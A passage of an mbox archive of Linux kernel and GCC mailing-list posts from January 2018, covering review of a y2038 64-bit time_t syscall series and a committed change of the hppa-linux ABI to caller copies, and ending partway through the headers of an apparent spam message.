         tTWSrk64b/nNprUYIIhim5YSfq7XzrRw2JbdCSEj/fkd+9McW1Ir0AVUtdssPGJv4p+2
         zaWyu9F81GLIRLvohrOXk1uH0Il3FzzqTul5UJd8d++6/erUJ0Yu6rM1t9hrSLwmFh0z
         7wnA==
X-Gm-Message-State: AKwxytcEQRE/7bzL1dyaLi0/+jidF94o6ajeOOZQFu8BFwAn0MwIYnwm
        bgO12A0KlxslHs2YaOhnIACKOhkyBQKS5eDUu9k=
X-Google-Smtp-Source: ACJfBovo6Xgi6PaPplq9SoC00vsrK9bJIICRm/RTSLTBFLSbVXoUQ5muUvbzhoHdQIcEGkNK09nTsf4PXotb/CTe71c=
X-Received: by 10.202.175.76 with SMTP id y73mr16393112oie.53.1516115918026;
 Tue, 16 Jan 2018 07:18:38 -0800 (PST)
Original-Received: by 10.157.17.89 with HTTP; Tue, 16 Jan 2018 07:18:37 -0800 (PST)
In-Reply-To: <20180116021818.24791-1-deepa.kernel-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
X-Google-Sender-Auth: RJCEzeST_QtE5ITgzNn3zM3ATVY
Original-Sender: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-api.vger.kernel.org>
X-Mailing-List: linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.api:26515 gmane.linux.kernel:2668239 gmane.linux.kernel.year-2038:2485 gmane.linux.kernel.cross-arch:41634 gmane.linux.ports.mips.general:63393 gmane.linux.ports.parisc:28277 gmane.linux.ports.ppc64.devel:152222 gmane.linux.oprofile:13130 gmane.linux.ports.sparc:27278
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.api/26515>

On Tue, Jan 16, 2018 at 3:18 AM, Deepa Dinamani <deepa.kernel-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org> wrote:
> The series is a preparation series for individual architectures
> to use 64 bit time_t syscalls in compat and 32 bit emulation modes.
>
> This is a follow up to the series Arnd Bergmann posted:
> https://sourceware.org/ml/libc-alpha/2015-05/msg00070.html [1]
>
> Big picture is as per the lwn article:
> https://lwn.net/Articles/643234/ [2]
>
> The series is directed at converting posix clock syscalls:
> clock_gettime, clock_settime, clock_getres and clock_nanosleep
> to use a new data structure __kernel_timespec at syscall boundaries.
> __kernel_timespec maintains 64 bit time_t across all execution modes.
>
> vdso will be handled as part of each architecture when they enable
> support for 64 bit time_t.
>
> The compat syscalls are repurposed to provide backward compatibility
> by using them as native syscalls as well for 32 bit architectures.
> They will continue to use timespec at syscall boundaries.
>
> CONFIG_64_BIT_TIME controls whether the syscalls use __kernel_timespec
> or timespec at syscall boundaries.
>
> The series does the following:
> 1. Enable compat syscalls on 32 bit architectures.
> 2. Add a new __kernel_timespec type to be used as the data structure
>    for all the new syscalls.
> 3. Add new config CONFIG_64BIT_TIME(intead of the CONFIG_COMPAT_TIME in
>    [1] and [2] to switch to new definition of __kernel_timespec. It is
>    the same as struct timespec otherwise.
> 4. Add new CONFIG_32BIT_TIME to conditionally compile compat syscalls.

This looks all good to me. I think we should have this included in linux-next as
soon as possible, but this probably means after -rc1 at the current point, since
it's a bit late for 4.16.

I'll pick up the series into my randconfig build tree again to find
possible build
time regressions. Otherwise the way I'd stage it out is to put it into my y2038
branch after -rc1 and then send a pull request to Thomas for the tip tree
a week later. It seems unlikely that any major problems come up, so we could
plan to address additional requests for changes by adding commits on top
once it's in linux-next.

       Arnd

From - Thu Nov 08 21:40:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Steven Rostedt <rostedt@goodmis.org>
Newsgroups: gmane.linux.kernel.year-2038,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.oprofile,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v3 02/10] include: Move compat_timespec/ timeval
 to compat_time.h
Date: Tue, 16 Jan 2018 10:34:33 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <20180116103433.0a1356d3@gandalf.local.home>
References: <20180116021818.24791-1-deepa.kernel@gmail.com>
 <20180116021818.24791-3-deepa.kernel@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1516116777 29100 195.159.176.226 (16 Jan 2018 15:32:57 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 16 Jan 2018 15:32:57 +0000 (UTC)
Cc: mark.rutland@arm.com, linux-mips@linux-mips.org, peterz@infradead.org,
 benh@kernel.crashing.org, heiko.carstens@de.ibm.com, paulus@samba.org,
 hpa@zytor.com, sparclinux@vger.kernel.org, devel@driverdev.osuosl.org,
 linux-s390@vger.kernel.org, y2038@lists.linaro.org, mpe@ellerman.id.au,
 deller@gmx.de, x86@kernel.org, sebott@linux.vnet.ibm.com,
 jejb@parisc-linux.org, will.deacon@arm.com, borntraeger@de.ibm.com,
 mingo@redhat.com, oprofile-list@lists.sf.net, catalin.marinas@arm.com,
 rric@kernel.org, cmetcalf@mellanox.com, arnd@arndb.de,
 oberpar@linux.vnet.ibm.com, acme@kernel.org, jwi@linux.vnet.ibm.com,
 john.stultz@linaro.org, tglx@linutronix.de, ubraun@linux.vnet.ibm.com,
 gerald.schaefer@de.ibm.com, linux-parisc@vger.kernel.org,
 gregkh@linuxfoundation.org, cohuck@redhat.com, linux-kernel@vger.kernel.org,
 ralf@linux-mips.org, hoeppner@linux.vnet.ibm.com, sth@linux.vnet.ibm.com
To: Deepa Dinamani <deepa.kernel@gmail.com>
Original-X-From: y2038-bounces@lists.linaro.org Tue Jan 16 16:32:48 2018
Return-path: <y2038-bounces@lists.linaro.org>
Envelope-to: glky-y2038@m.gmane.org
Original-Received: from ec2-54-197-127-237.compute-1.amazonaws.com ([54.197.127.237] helo=lists.linaro.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <y2038-bounces@lists.linaro.org>)
	id 1ebTEE-0006nQ-1y
	for glky-y2038@m.gmane.org; Tue, 16 Jan 2018 16:32:46 +0100
Original-Received: by lists.linaro.org (Postfix, from userid 109)
	id EDAD6617FD; Tue, 16 Jan 2018 15:34:49 +0000 (UTC)
Original-Received: from [127.0.0.1] (localhost [127.0.0.1])
	by lists.linaro.org (Postfix) with ESMTP id 1E810617F0;
	Tue, 16 Jan 2018 15:34:47 +0000 (UTC)
X-Original-To: y2038@lists.linaro.org
Delivered-To: y2038@lists.linaro.org
Original-Received: by lists.linaro.org (Postfix, from userid 109)
 id 7B4B0617F0; Tue, 16 Jan 2018 15:34:44 +0000 (UTC)
Original-Received: from mail.kernel.org (mail.kernel.org [198.145.29.99])
 by lists.linaro.org (Postfix) with ESMTPS id 69925617F0
 for <y2038@lists.linaro.org>; Tue, 16 Jan 2018 15:34:40 +0000 (UTC)
Original-Received: from gandalf.local.home (cpe-172-100-180-131.stny.res.rr.com
 [172.100.180.131])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by mail.kernel.org (Postfix) with ESMTPSA id C29C221742;
 Tue, 16 Jan 2018 15:34:35 +0000 (UTC)
DMARC-Filter: OpenDMARC Filter v1.3.2 mail.kernel.org C29C221742
In-Reply-To: <20180116021818.24791-3-deepa.kernel@gmail.com>
X-Mailer: Claws Mail 3.14.0 (GTK+ 2.24.31; x86_64-pc-linux-gnu)
X-BeenThere: y2038@lists.linaro.org
X-Mailman-Version: 2.1.16
Precedence: list
List-Id: <y2038.lists.linaro.org>
List-Unsubscribe: <https://lists.linaro.org/mailman/options/y2038>,
 <mailto:y2038-request@lists.linaro.org?subject=unsubscribe>
List-Archive: <http://lists.linaro.org/pipermail/y2038/>
List-Post: <mailto:y2038@lists.linaro.org>
List-Help: <mailto:y2038-request@lists.linaro.org?subject=help>
List-Subscribe: <https://lists.linaro.org/mailman/listinfo/y2038>,
 <mailto:y2038-request@lists.linaro.org?subject=subscribe>
Errors-To: y2038-bounces@lists.linaro.org
Original-Sender: "Y2038" <y2038-bounces@lists.linaro.org>
Xref: news.gmane.org gmane.linux.kernel.year-2038:2486 gmane.linux.ports.mips.general:63396 gmane.linux.ports.sparc:27279 gmane.linux.oprofile:13131 gmane.linux.ports.parisc:28278 gmane.linux.kernel:2668254 gmane.linux.ports.ppc64.devel:152223
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.year-2038/2486>

T24gTW9uLCAxNSBKYW4gMjAxOCAxODoxODoxMCAtMDgwMApEZWVwYSBEaW5hbWFuaSA8ZGVlcGEu
a2VybmVsQGdtYWlsLmNvbT4gd3JvdGU6Cgo+IGRpZmYgLS1naXQgYS9hcmNoL3g4Ni9pbmNsdWRl
L2FzbS9mdHJhY2UuaCBiL2FyY2gveDg2L2luY2x1ZGUvYXNtL2Z0cmFjZS5oCj4gaW5kZXggMDlh
ZDg4NTcyNzQ2Li5kYjI1YWExNWI3MDUgMTAwNjQ0Cj4gLS0tIGEvYXJjaC94ODYvaW5jbHVkZS9h
c20vZnRyYWNlLmgKPiArKysgYi9hcmNoL3g4Ni9pbmNsdWRlL2FzbS9mdHJhY2UuaAoKQWNrZWQt
Ynk6IFN0ZXZlbiBSb3N0ZWR0IChWTXdhcmUpIDxyb3N0ZWR0QGdvb2RtaXMub3JnPgoKLS0gU3Rl
dmUKCj4gQEAgLTQ5LDcgKzQ5LDcgQEAgaW50IGZ0cmFjZV9pbnQzX2hhbmRsZXIoc3RydWN0IHB0
X3JlZ3MgKnJlZ3MpOwo+ICAjaWYgIWRlZmluZWQoX19BU1NFTUJMWV9fKSAmJiAhZGVmaW5lZChD
T01QSUxFX09GRlNFVFMpCj4gIAo+ICAjaWYgZGVmaW5lZChDT05GSUdfRlRSQUNFX1NZU0NBTExT
KSAmJiBkZWZpbmVkKENPTkZJR19JQTMyX0VNVUxBVElPTikKPiAtI2luY2x1ZGUgPGFzbS9jb21w
YXQuaD4KPiArI2luY2x1ZGUgPGxpbnV4L2NvbXBhdC5oPgo+ICAKPiAgLyoKPiAgICogQmVjYXVz
ZSBpYTMyIHN5c2NhbGxzIGRvIG5vdCBtYXAgdG8geDg2XzY0IHN5c2NhbGwgbnVtYmVycwpfX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXwpZMjAzOCBtYWlsaW5n
IGxpc3QKWTIwMzhAbGlzdHMubGluYXJvLm9yZwpodHRwczovL2xpc3RzLmxpbmFyby5vcmcvbWFp
bG1hbi9saXN0aW5mby95MjAzOAo=


From - Thu Nov 08 21:40:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.comp.gcc.patches
Subject: [committed] hppa: Switch hppa-linux to caller copies ABI
Date: Tue, 16 Jan 2018 21:00:47 -0500
Lines: 53
Approved: news@gmane.org
Message-ID: <5A5EAE4F.6090200@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------020703040208050507050902"
X-Trace: blaine.gmane.org 1516154331 6465 195.159.176.226 (17 Jan 2018 01:58:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 17 Jan 2018 01:58:51 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20130801 Thunderbird/17.0.8
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: gcc-patches@gcc.gnu.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 17 02:58:47 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ebd02-0004bF-W4
	for glpp-linux-parisc@m.gmane.org; Wed, 17 Jan 2018 02:58:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751359AbeAQCAv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 16 Jan 2018 21:00:51 -0500
Original-Received: from simcoe207srvr.owm.bell.net ([184.150.200.207]:35527 "EHLO
        torfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1750868AbeAQCAu (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 16 Jan 2018 21:00:50 -0500
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20180117020048.EXYF3030.torfep01.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Tue, 16 Jan 2018 21:00:48 -0500
Original-Received: from [192.168.2.49] (really [76.69.123.119]) by torspm02.bell.net
          with ESMTP
          id <20180117020048.OZBQ31064.torspm02.bell.net@[192.168.2.49]>;
          Tue, 16 Jan 2018 21:00:48 -0500
X-Cloudmark-Analysis: v=2.2 cv=JtkelIwC c=1 sm=0 tr=0 a=MQ1IQTu8G4y5Oj5VyuL9GA==:17 a=RgaUWeydRksA:10 a=r77TgQKjGQsHNAKrUKIA:9 a=FBHGMhGWAAAA:8 a=QcC7sLYvaCr7pPcaWVIA:9 a=wPNLvfGTeEIA:10 a=mDV3o1hIAAAA:8 a=R2C60oC1SrWXplSL_aoA:9 a=pILNOxqGKmIA:10 a=ichUEFZdvV4A:10 a=9gvnlMMaQFpL9xblJ6ne:22 a=_FVE-zBwftR9WsbkzFJk:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28279 gmane.comp.gcc.patches:415487
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28279>

This is a multi-part message in MIME format.
--------------020703040208050507050902
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

The callee copies ABI used for 32-bit hppa causes no end of optimization 
issues and problems with
OpenMP.  The hppa target is only in Debian unstable and gentoo.  In both 
cases, packages are
rebuilt often.  So, Helge and I decided that it was better to break the 
ABI and accept whatever
problems that result from the switch.

Committed to trunk.

Dave

-- 
John David Anglin  dave.anglin@bell.net


--------------020703040208050507050902
Content-Type: text/plain; charset=windows-1252;
 name="config.gcc.d"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="config.gcc.d"

2018-01-16  John David Anglin  <danglin@gcc.gnu.org>

	* config.gcc (hppa*-*-linux*): Change callee copies ABI to caller
	copies.

Index: config.gcc
===================================================================
--- config.gcc	(revision 256716)
+++ config.gcc	(working copy)
@@ -1339,7 +1339,7 @@
 	gas=yes gnu_ld=yes
 	;;
 hppa*-*-linux*)
-	target_cpu_default="MASK_PA_11|MASK_NO_SPACE_REGS"
+	target_cpu_default="MASK_PA_11|MASK_NO_SPACE_REGS|MASK_CALLER_COPIES"
 	tm_file="${tm_file} dbxelf.h elfos.h gnu-user.h linux.h glibc-stdint.h pa/pa-linux.h \
 		 pa/pa32-regs.h pa/pa32-linux.h"
 	tmake_file="${tmake_file} pa/t-linux"

--------------020703040208050507050902--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Richard Biener <richard.guenther@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.comp.gcc.patches
Subject: Re: [committed] hppa: Switch hppa-linux to caller copies ABI
Date: Wed, 17 Jan 2018 09:26:02 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <CAFiYyc14x7_5vSndrwau7AyS9hyUj6SOu59HMV1B9XOZwZUFGg@mail.gmail.com>
References: <5A5EAE4F.6090200@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1516177448 31914 195.159.176.226 (17 Jan 2018 08:24:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 17 Jan 2018 08:24:08 +0000 (UTC)
Cc: GCC Patches <gcc-patches@gcc.gnu.org>,
        Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 17 09:24:04 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ebj0q-0007nj-DS
	for glpp-linux-parisc@m.gmane.org; Wed, 17 Jan 2018 09:24:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750801AbeAQI0E (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 17 Jan 2018 03:26:04 -0500
Original-Received: from mail-wm0-f67.google.com ([74.125.82.67]:37760 "EHLO
        mail-wm0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750828AbeAQI0D (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 17 Jan 2018 03:26:03 -0500
Original-Received: by mail-wm0-f67.google.com with SMTP id v71so13846430wmv.2
        for <linux-parisc@vger.kernel.org>; Wed, 17 Jan 2018 00:26:03 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=vfez2kXM6eCzwBmkwmLwnxCMrKuteqPKXv6hCAYbgko=;
        b=AvcpODi2sBB65hxjCwNX+ct76N1O60eIOMSQeOWF40Ku7oihnSCTXZ0/jyA1lbLTPR
         Zq166IM/KjBdoMq+7hvw60fax1AicQ7UOn0/S6hCmb6abnhJHBpFsE4S83Qi9EqVF+Z5
         lPKL0ycDPri1j1HpipnF8CNg7jlwKxEo6HGcrDU7AS35tDpeDuNcVIBCBO5XZDk9OQpk
         IzY7ja3E5XbnTk+fQl6lWu5v/pYTZcir7D6YKZ054s3VfZDfa3oObmzXIaTLSrUe7SAr
         cFVC8MORLfLvptJPN1Ms+AaejYw4Gx2i2vxt/myX0ktJOpnPZIIzWyWdzdQ/CDWDDn4r
         ThHA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=vfez2kXM6eCzwBmkwmLwnxCMrKuteqPKXv6hCAYbgko=;
        b=KDDHdH4mLJcfbsh+DYdYmw8qlK4dEcYgWN/bd1Wxs5bAVYaZ7weenNqCon2L2qEvv7
         f2xSlviQ5BWJWBSI0AshLxhDyVHVdM4XdaVoPuH/vI+q7b8OHUZZStNnoFpgWViUw+hl
         qc6l2mDm1npBQbL0k8IQXo7BxD8A0l1kY0EDi0UyUA/0/PXqb8XulSXOgaKWYMC/dJQp
         XkwuGp3RU/k4ZUxAq0yqsSu1qMojUTYGSZCfynys61r6RaxOKmv1KuN6dq3bYfE/bLB2
         vNlKmDatmAnUnAk9UGSx0Zu5umhH/N0MbMq5u5y6l3YV6dD1KDhAAR7jr3CG6wQ19hIo
         1yTg==
X-Gm-Message-State: AKwxytcvA6Teb6cIF9PI6mH6LQE0XnN/E+B4ks1l7CAPd52GQSAKCm+W
        P5KjvrePY7F385mpFPAun0XuoONciigqlCAXuJ4=
X-Google-Smtp-Source: ACJfBou1IyRqimZs81lHwNmtj6GIue3LJWcsIFB5Zk/JAqe9BYi2ILsTz7ULbtKmMuovTeCuFiBqVTKjT/OADQ2C3Ig=
X-Received: by 10.80.165.21 with SMTP id y21mr1853665edb.148.1516177562627;
 Wed, 17 Jan 2018 00:26:02 -0800 (PST)
Original-Received: by 10.80.167.196 with HTTP; Wed, 17 Jan 2018 00:26:02 -0800 (PST)
In-Reply-To: <5A5EAE4F.6090200@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28280 gmane.comp.gcc.patches:415490
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28280>

On Wed, Jan 17, 2018 at 3:00 AM, John David Anglin <dave.anglin@bell.net> wrote:
> The callee copies ABI used for 32-bit hppa causes no end of optimization
> issues and problems with
> OpenMP.  The hppa target is only in Debian unstable and gentoo.  In both
> cases, packages are
> rebuilt often.  So, Helge and I decided that it was better to break the ABI
> and accept whatever
> problems that result from the switch.
>
> Committed to trunk.

That deserves a warning in gcc-8/changes.html

Richard.

> Dave
>
> --
> John David Anglin  dave.anglin@bell.net
>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.comp.gcc.patches,gmane.linux.ports.parisc
Subject: Re: [committed] hppa: Switch hppa-linux to caller copies ABI
Date: Sun, 21 Jan 2018 15:04:40 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <5A64F258.3010608@bell.net>
References: <5A5EAE4F.6090200@bell.net> <CAFiYyc14x7_5vSndrwau7AyS9hyUj6SOu59HMV1B9XOZwZUFGg@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1516564986 20971 195.159.176.226 (21 Jan 2018 20:03:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 21 Jan 2018 20:03:06 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101 Thunderbird/38.5.0
Cc: GCC Patches <gcc-patches@gcc.gnu.org>, Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Richard Biener <richard.guenther@gmail.com>
Original-X-From: gcc-patches-return-471770-gcc-patches=m.gmane.org@gcc.gnu.org Sun Jan 21 21:03:02 2018
Return-path: <gcc-patches-return-471770-gcc-patches=m.gmane.org@gcc.gnu.org>
Envelope-to: gcc-patches@blaine.gmane.org
Original-Received: from server1.sourceware.org ([209.132.180.131] helo=sourceware.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <gcc-patches-return-471770-gcc-patches=m.gmane.org@gcc.gnu.org>)
	id 1edLpH-0004LI-P7
	for gcc-patches@blaine.gmane.org; Sun, 21 Jan 2018 21:02:48 +0100
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gcc.gnu.org; h=list-id
	:list-unsubscribe:list-archive:list-post:list-help:sender
	:subject:to:references:cc:from:message-id:date:mime-version
	:in-reply-to:content-type:content-transfer-encoding; q=dns; s=
	default; b=ng/GHq+ml+5pVS9CmkFzGpAp3WzT1Es2+7+BS2PdGifZ6Fwv38+/L
	AOShmJQZWnKH1A34rjaRNvbSft1of/aXC4AmEOXM6K4QYjX0o22axpupz0KDOV3W
	lLTDeeXaQsNd1omx2iBOIZq9FkoZgCHqN/5gNnskC3JkGwejIBaxN0=
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed; d=gcc.gnu.org; h=list-id
	:list-unsubscribe:list-archive:list-post:list-help:sender
	:subject:to:references:cc:from:message-id:date:mime-version
	:in-reply-to:content-type:content-transfer-encoding; s=default;
	 bh=e2GM9+eDjJy4Roaqr7KOvTnmqmY=; b=vjb7XpkrmHok7Gz7ifF3lljnUWvE
	qbZHL1sQQ4FlkR235qV4bCvO5+tpyAYLdUjnZfo+QTlfrfpsCoJf90DrAzPv7J24
	007/KtXmU983o0wTcJ2xVHRt+H4Xj5tA90iJ0/Udtn39PSMVt3EsSImSCnLmmfFO
	y3LrHUjI4v+8n98=
Original-Received: (qmail 81350 invoked by alias); 21 Jan 2018 20:04:45 -0000
Mailing-List: contact gcc-patches-help@gcc.gnu.org; run by ezmlm
Precedence: bulk
List-Id: <gcc-patches.gcc.gnu.org>
List-Unsubscribe: <mailto:gcc-patches-unsubscribe-gcc-patches=m.gmane.org@gcc.gnu.org>
List-Archive: <http://gcc.gnu.org/ml/gcc-patches/>
List-Post: <mailto:gcc-patches@gcc.gnu.org>
List-Help: <mailto:gcc-patches-help@gcc.gnu.org>
Original-Sender: gcc-patches-owner@gcc.gnu.org
Delivered-To: mailing list gcc-patches@gcc.gnu.org
Original-Received: (qmail 81340 invoked by uid 89); 21 Jan 2018 20:04:45 -0000
Authentication-Results: sourceware.org; auth=none
X-Virus-Found: No
X-Spam-SWARE-Status: No, score=-3.1 required=5.0 tests=AWL,BAYES_00,KAM_SHORT,RCVD_IN_DNSWL_LOW,SPF_PASS,T_RP_MATCHES_RCVD,UNPARSEABLE_RELAY autolearn=ham version=3.3.2 spammy=
X-HELO: mtlfep02.bell.net
Original-Received: from belmont80srvr.owm.bell.net (HELO mtlfep02.bell.net) (184.150.200.80) by sourceware.org (qpsmtpd/0.93/v0.84-503-g423c35a) with ESMTP; Sun, 21 Jan 2018 20:04:43 +0000
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net          with ESMTP          id <20180121200441.HVSS22355.mtlfep02.bell.net@mtlspm02.bell.net>          for <gcc-patches@gcc.gnu.org>; Sun, 21 Jan 2018 15:04:41 -0500
Original-Received: from [192.168.2.49] (really [70.31.74.127]) by mtlspm02.bell.net          with ESMTP          id <20180121200441.QQEU6415.mtlspm02.bell.net@[192.168.2.49]>;          Sun, 21 Jan 2018 15:04:41 -0500
In-Reply-To: <CAFiYyc14x7_5vSndrwau7AyS9hyUj6SOu59HMV1B9XOZwZUFGg@mail.gmail.com>
Xref: news.gmane.org gmane.comp.gcc.patches:415808 gmane.linux.ports.parisc:28281
Archived-At: <http://permalink.gmane.org/gmane.comp.gcc.patches/415808>

On 2018-01-17 3:26 AM, Richard Biener wrote:
> That deserves a warning in gcc-8/changes.html
Done.
https://gcc.gnu.org/gcc-8/changes.html

Dave

-- 
John David Anglin  dave.anglin@bell.net



From - Thu Nov 08 21:41:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: defina@ipb.ac.id
Newsgroups: gmane.linux.ports.parisc
Subject: Darlehen
Date: Sun, 21 Jan 2018 22:35:25 +0530
Lines: 7
Approved: news@gmane.org
Message-ID: <20180121170442.A1C252BC5EFD@mail.ipb.ac.id>
Reply-To: alexgrtz5@gmail.com
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1516646273 10884 195.159.176.226 (22 Jan 2018 18:37:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 22 Jan 2018 18:37:53 +0000 (UTC)
To: Recipients <defina@ipb.ac.id>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 22 19:37:49 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1edgyE-00008d-Gf
	for glpp-linux-parisc@m.gmane.org; Mon, 22 Jan 2018 19:37:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751208AbeAVSja (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 22 Jan 2018 13:39:30 -0500
Original-Received: from [103.10.105.28] ([103.10.105.28]:3954 "EHLO ironport.ipb.ac.id"
        rhost-flags-FAIL-FAIL-OK-FAIL) by vger.kernel.org with ESMTP
        id S1751113AbeAVSja (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 22 Jan 2018 13:39:30 -0500
Original-Received: from unknown (HELO mail.ipb.ac.id) ([172.17.5.31])
  by ironport.ipb.ac.id with ESMTP; 23 Jan 2018 01:35:34 +0700
Original-Received: from localhost (localhost [127.0.0.1])
        by mail.ipb.ac.id (Postfix) with ESMTP id CF1392C43068;
        Mon, 22 Jan 2018 18:24:19 +0700 (WIB)
Original-Received: from mail.ipb.ac.id ([127.0.0.1])
        by localhost (mail.ipb.ac.id [127.0.0.1]) (amavisd-new, port 10032)
        with ESMTP id hCpfHo7QVQEL; Mon, 22 Jan 2018 18:24:19 +0700 (WIB)
Original-Received: from localhost (localhost [127.0.0.1])
